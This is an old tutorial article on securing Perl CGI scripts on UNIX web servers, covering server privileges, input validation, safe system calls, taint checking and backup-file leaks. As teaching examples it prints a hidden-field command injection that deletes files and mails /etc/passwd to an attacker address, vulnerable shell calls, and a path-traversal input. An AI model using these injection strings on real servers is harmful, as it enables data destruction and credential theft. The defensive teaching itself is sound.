Current design trends for enhanced Web pages often require
data from the
Web server to be manipulated in conjunction with input
from the user. To
do this, Web authors can choose from a plethora of page
enhancement
tools, including Common Gateway Interface (CGI), Java,
ActiveX, and
Javascript. Although Java, Javascript, and ActiveX may
be the latest and
greatest, CGI programming is still the most convenient
way to manipulate
data on the Web server itself. Thus, CGI programming
remains the popular
way to handle simple user input concepts. An unfortunate
side effect is
that CGI opens various security risks on a UNIX Web
server.
The mere phrase "server side execution" should
be enough to make any
cautious system administrator cringe. Security concerns
become
especially important if other crucial services such
as mail, domain name
service, user disk storage, or a company database also
reside on the
server. Although completely removing CGI capabilites
from the Web server
might appear to be an option, design objectives make
this unrealistic.
To secure your Web site, you must first establish a
secure foundation
CGI environment. Next, you must find and repair security
gaps in CGI
scripts that are added over time. In this article, I
highlight some
common Perl CGI scripting errors and provide tips on
how to avoid the
associated security problems.
The first step toward a secure foundation CGI environment
is
establishing a policy regarding ownership of Web server
processes. Many
CGI-related security problems capitalize on the rights
of the user id
(UID) and group id (GID) of the Web server process.
Thus, Web server
processes should never be run as root. Running the Web
server with the
nobody, nogroup combination is reasonable in that it
gives the CGI
programs minimal privileges. A better alternative is
to run Web server
processes as a specified UID and GID, such as "www."
This prevents the
Web server from meddling with other services and programs
that run as
"nobody." Look in httpd.conf on Apache and
NCSA to configure the UID and
GID.
Most Web servers offer several options regarding the
setup of your CGI
directory structure. You can allow CGI scripts with
the extension .cgi
or .pl, for example, to be located anywhere below the
Web server root.
This is a menacing setup, however, as it makes monitoring
and
maintaining the scripts very difficult. It is recommended
for extra
security, to allow the server to see only file systems
under its "Server
Root" - read about chroot for more details in the
NCSA docs.
On most large Web servers, CGI scripts will be written
by different
people with various skill levels. It is not uncommon
even for
experienced UNIX programmers to fall prey to a security
hole
specifically open to a Hypertext Text Transfer Protocol
(HTTP) attack.
To ease administration and minimize potential security
risks, you should
define only one active CGI executable directory (named
cgi-bin on most
UNIX Web servers) and grant write access only to the
most competent and
conscientious of CGI programmers. Even with such restricted
access, you
must be vigilant in identifying vulnerabilities in your
scripts.
Creating a separate, nonpublic CGI development partition
may also be
helpful in minimizing security problems.
The execution environment for CGI also provides various
other
configurable options. Be very selective in defining
the options for your
CGI directory. For example, with NSCA httpd and Apache
Web servers, it
is a good idea to disable Includes (see the sidebar
"Server Side
Includes"). You should not give random users viewing
access to the
contents of your CGI directory with the Indexing option
enabled in the
global access file, access.conf. The more system information
you can
keep private, the less likely an intruder will be able
to exploit
obvious or even subtle vulnerabilities.
If your Web server is running as UID nobody, you're
safe from outside
attacks, right? Wrong! Depending on the security profile
of your server,
there may be proprietary information within easy grasp
of an intruder
exploiting a vulnerability in one of your CGI scripts.
So, what exactly
can an attacker do with your Web server running as nobody,
or a unique
UID/GID for that matter?
Initiate denial of service attacks including exhaustive
filesystem
searches, or other resource consuming commands.
Many of the do's and don'ts of CGI scripting are already
well
documented, so the examples included here will be brief
and illustrated
in the most popular CGI language, Perl.
The Hidden Field Faux Pas
Imagine that the user named Miss Steak has the following
form on the
Web:
<html><body>
<h1>Form Response for Jane Steak</h1>
<form action = "http://www.beef.com/CGI-bin/doit.pl" method="get">
<input type="hidden" name="myaddress" value="steak@beef.com">
<input type = "text" name=input>
(input type = "submit" value="Send comment">
</form>
</body></html>
This is a simple form that asks the user to input a
message, which is
sent to a script called doit.pl. Included in the script
doit.pl is the
following line (assume that the variables have already
been parsed out
of the input stream):
system("/usr/lib/sendmail -t $myaddress < $tempfile")
with the form's message written to a temp file mailed
to Jane Steak. A
few days after the system administrator installs this
script in the
cgi-bin directory, she finds that hackers have broken
into the system
and compromised valuable files, all thanks to Jane's
script. How?
Imagine that the hacker has set up a Web page on his
end like this:
<HTML><body>
<h1>Hacking beef.com!</h1>
<form action = "http://www.beef.com/CGI-bin/doit.pl" method = "get">
<input type="hidden" name="myaddress"
value="; rm * ;mail -s Haha hacker@bacon.com < /etc/passwd;">
<input type = "text" name=input>
(input type = "submit" value="Hack Away!">
</form>
The semicolons in the hidden value field act as delimiters,
which
separate UNIX commands, enabling several to be executed
on the same line
in a shell. The system call in Perl spawns a UNIX shell,
and in this
case, executes the commands in the value field, removing
the current
files in the directory and mailing the password file
to the hacker.
The first lesson here is that user input to a CGI script
can never be
trusted. The second lesson is to avoid using system
calls promiscuously
in Perl, or any language for that matter.
Other System Call Holes
Any CGI system call is inherently dangerous if not coded
correctly.
Consider the following line of Perl code (Remember,
Perl backticks
follow shell conventions - that is, a unix subshell
is spawned with the
quoted string as the command line, and the output of
that command
becomes the argument for the Perl command.):
print `/usr/local/bin/finger $userinput`;
This could be taken advantage of using the same malicious
user input as
before. In general, none of the following metacharacters
belong in user
input:
; > < & * ` | $ #
A sample Perl code snippet to check for these characters
could be:
if ($userinput =~ /[;<>*`|&$#]/) { #match any characters
print "<h1>CGI ERROR: What are you doing!</h1>";}
#print an error
else {
print `/usr/local/bin/finger $userinput`
#proceed normally
}
For an email address form entry, you could designate
a safe domain-style
email format in Perl (note the example doesn't take
into consideration
uucp addresses):
unless ($userinput =~ /^[\w@\.\-]+$/) {
#if does not match email format
print "<h1>CGI ERROR: Enter a valid EMAIL address</h1>";}
#print an eroor
else {
print `/usr/local/bin/finger $userinput` #proceed normally
}
In Perl, you can also perform system calls with the
backticks used
above, or with the eval statement. Consider the following
alternatives
to those system calls. For email purposes, use:
open (MAIL, "| /usr/lib/sendmail -t -n");
print MAIL << END_OF_MESSAGE
From: $from_input
To: $to_input
Subject: $subject_input
$message_input
END_OF_MESSAGE
This example opens a piped process to sendmail, thereby
avoiding the
dangers of user input with the system call.
Under system and exec commands, there is an option that
enables you to
call external programs directly rather than calling
a shell. Listing
your arguments in the following manner prevents the
UNIX shell from
being spawned, which prevents metacharacters from having
unwanted side
effects, and neutralizes any shell vulnerabilities:
system "/usr/bin/finger",$userinput
exec "/bin/ping",$ping_argument,$ping_host
Here is another example of a piped process that prevents
shell
vulnerablities. The general form is:
open(Filehandle_name, '|-') || exec "program", $arg1, $arg2;
By using the mystical code sequence |-, you can fork
a copy of Perl and
open a pipe to that copy, which will execute the program
designated by
exec. Notice the program list in the same format mentioned
above. Here's
an example:
open(FIND,"-|") || exec "/usr/bin/find","/","name",$name,"-
print";
while (<FIND>) {
print "found: $_";
}
close FIND;
This script searches the system for an input variable
$name and prints
all occurrences of it. It successfully avoids spawning
a UNIX shell,
thereby improving performance and tightening security.
For more detailed
Perl alternatives to system calls, read the WWW security
FAQ section on
safe scripting.
Opening Files
Imagine you are writing a program that stores a message
based on the
username of the user entering it. You add the following
line of code to
your script:
open(FILE,">/usr/local/message/data/$username");
What if the user typed in ../../../../etc/passwd as
his username? You
could have a serious problem. Always check for the ..
when opening any
type of file handle.
Taint Checks: A Useful Tool
Perl has a very practical option for handling unsafe
user variables.
Consider that most of the vulnerabilities in CGI result
from user input
passed to your script. Imagine also that every outside
variable passed
to your program is tainted and that the taint can spread
to other parts
of the system like a contagious disease. Perl taint
checks prevent any
tainted variables from being used with the system, eval,
exec, and
backtick commands, or any other type of action that
affects the outside
system environment. Perl will exit the script with an
error message if
it detects such an attempt.
To invoke taint checking in Perl 4, the first line of
your script should
read:
#!/usr/local/bin/taintperl
This will load a special version of the interpreter.
In Perl 5, you can
invoke taint checks with the -T option. Example:
#!/usr/local/bin/perl -T
(If you're not sure which version of Perl you have,
type perl -v.)
Once the user has passed his or her email address into
your script, you
should untaint that variable. A variable can only become
untainted once
pattern matching is performed on it. Only after you
have extracted the
intended string from your variable, can you now use
it normally. For
example, to untaint an email address (example taken
from the WWW
security FAQ):
$mail_address=~/([\w-.]+\@[\w-.]+)/;
$untainted_address = $1;
You must include one more thing when performing taint
checks. Because
the Perl interpreter does not take the environment path
for granted, you
must define it, even if your program does not interact
with a shell. Be
sure to include the following line in your code or
you will get an
error complaining about insecure paths:
$ENV{'PATH'} = '/usr/bin:/usr/local/bin:/bin';
A favorite hacker's trick is to subvert your environment
variables to
point to a Trojan horse in another directory. Thus,
you should always
specify the full path of commands when using the system
call:
system("finger $untainted_user"); #This is bad. Avoid.
system("/usr/local/bin/finger $untainted_user"); #This is better.
The Dreaded Autobackup
Be careful when editing your CGI scripts in the actual
cgi-bin
directory. Some editors, such as emacs, create a backup
file with an
extension of ~ if you edit the original. If a potential
intruder somehow
guesses the file password.pl is backed up as password.pl~,
he will be
able to view the actual code of the backup program since
the server does
not recognize the extension .pl~. Upon viewing the backup
file as plain
text, the intruder could possibly exploit the original
CGI program by
scanning the code for vulnerabilities. Be on the lookout
for any
suspicious types of extensions in your cgi-bin directory.
Some Other Odds and Ends
In terms of what to include in your scripts and cgi-bin
directory, you
should try not to give out too much information about
your server. For
example, the finger command is a convenient perk, but
it can divulge
important things, such as home directories or mail forwarding
paths, to
a possible snooper. In terms of the binaries and scripts
contained in
your cgi-bin directory, you should scrutinize these
files at regular
intervals.
Don't place any valuable information in the cgi-bin
directory. If your
cgi-bin contains the query binary, it can be used quite
insidiously by a
browser to search for specific files (like /etc/passwd).
query ships
with most versions of NSCA and Apache, so a little housekeeping
may be
necessary. Commands such as query and finger may be
nice bells and
whistles for your system, but in the long run, you will
be much happier
with those types of executables disabled. Also, never
be tricked into
putting a copy of perl (or any interpreter for that
matter) in your
cgi-bin directory. This fatal error allows any arbitrary
commands to be
run by anyone with a browser and malicious intent.
You should also avoid enabling your scripts to run as
another user. A
program called cgiwrap (http://www.umr.edu/~cgiwrap
by Nathan Neulinger)
allows this practice, but increases the security risks
in CGI. Enabling
a script to run as a user other than the Web server's
UID allows write
access to that user's home directory and puts their
files at great
peril. rm -rf * is only a few keystrokes away!
You should check the contents of the cgi-bin directory
periodically,
especially if priviledged users are constantly editing
their scripts. A
quick scan of their code could save you grief in the
long run.
Suggestions
Most Web administrators eventually deal with CGI security,
but only
after the damage from an attack or intrusion has occurred.
Today, the
general Internet public is more educated about the Web,
and CGI
vulnerablities are often discussed in mass mailings
and newsgroups.
Thus, the system administrator must ever be on the lookout
for the
latest known security holes and common attack methods.
To prevent action
on these widely known holes, it is obviously important
to patch them as
quickly as possible.
As an administrator, you have probably seen the sort
of scripting
mistakes to be aware of and search for in your server's
CGI directory.
The installation tips provided here will also help circumvent
the type
of attacks and loss of private data that CGI allows.
CGI can become a
constant threat if the proper policies and concrete
scripting procedures
are not instituted. Coordinate with the Webmaster (and/or
other CGI
programmers) to discuss the risks involved. Educate
the CGI authors, and
keep abreast of security news by subscribing to mailing
lists such as
the one maintained by CERT (http://www.cert.org).
Web servers act as one of the only external access points
for many
companies and organizations, making them prime targets
on the Internet.
The CGI is a double-edged sword that can enable hostile
attacks against
these systems. By remaining aware of the possible threats
of CGI, you
can better protect your own Web site from vandalism,
destruction, and
information theft.
References
Gundavaram, Shishir. 1996. CGI Programming on the World
Wide Web.
Sebastopol, CA: O'Reilly.
Schwartz, Randal. 1993. Learning Perl. Sebastopol, CA:
O'Reilly.
Schwartz, Randal. 1991. Programming Perl. Sebastopol,
CA: O'Reilly.
Schwartz, Randal (with Larry Wall). 1996. Perl 5. Sebastopol,
CA:
O'Reilly.
Perl info: http://perl.com
CGI Security FAQ maintained by Paul Phillips of cerf.net:
http://www.cerf.net/~paulp/CGI-security/safe-cgi.txt
CERT: http://www.cert.org
WWW Security FAQ maintained by Lincoln Stein:
http://www-genome.wi.mit.edu/WWW/faqs/www-security-faq.html
WWW Security Email list: send an email with the body
subscribe to:
www-security-request@ns2.rutgers.edu
NCSA documentation: http://hoohoo.ncsa.uiuc.edu/ as
well as
http://hoohoo.nsca.uiuc.edu/cgi/security.html
Apache documentation: http://www.apache.org
About the Author
David Endler is a junior Computer Science major at
Tulane University. He
is a system administrator for Tulane's Student WWW Server
(http://studentweb.tulane.edu), his local free-net in
Florida,
(http://www.naples.net), and Datanet Security, an internet
security
company. He has regularly contributed to Internet Security
Review,
(http://www.isr.net) an online magazine about security,
safety, and
protection of datacommunications on the Internet. He
can be reached at
endler@cs.tulane.edu.